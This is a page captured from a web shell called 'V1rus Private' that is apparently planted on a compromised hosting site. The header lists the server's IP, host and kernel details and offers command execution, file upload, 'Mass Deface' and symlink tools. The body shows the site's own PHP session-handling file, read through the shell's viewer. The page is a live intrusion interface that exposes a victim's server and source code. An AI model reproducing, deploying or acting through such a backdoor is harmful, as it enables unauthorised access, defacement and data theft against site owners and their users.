V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
includes
/
Viewing: session.php
<?php session_start(); class Session { public $msg; private $user_is_logged_in = false; function __construct(){ $this->flash_msg(); $this->userLoginSetup(); } public function isUserLoggedIn(){ return $this->user_is_logged_in; } public function login($user_id){ $_SESSION['user_id'] = $user_id; } private function userLoginSetup() { if(isset($_SESSION['user_id'])) { $this->user_is_logged_in = true; } else { $this->user_is_logged_in = false; } } public function logout(){ unset($_SESSION['user_id']); } public function msg($type ='', $msg =''){ if(!empty($msg)){ if(strlen(trim($type)) == 1){ $type = str_replace( array('d', 'i', 'w','s'), array('danger', 'info', 'warning','success'), $type ); } $_SESSION['msg'][$type] = $msg; } else { return $this->msg; } } private function flash_msg(){ if(isset($_SESSION['msg'])) { $this->msg = $_SESSION['msg']; unset($_SESSION['msg']); } else { $this->msg; } } } $session = new Session(); $msg = $session->msg(); ?>
Coded With 💗 by
HanzOFC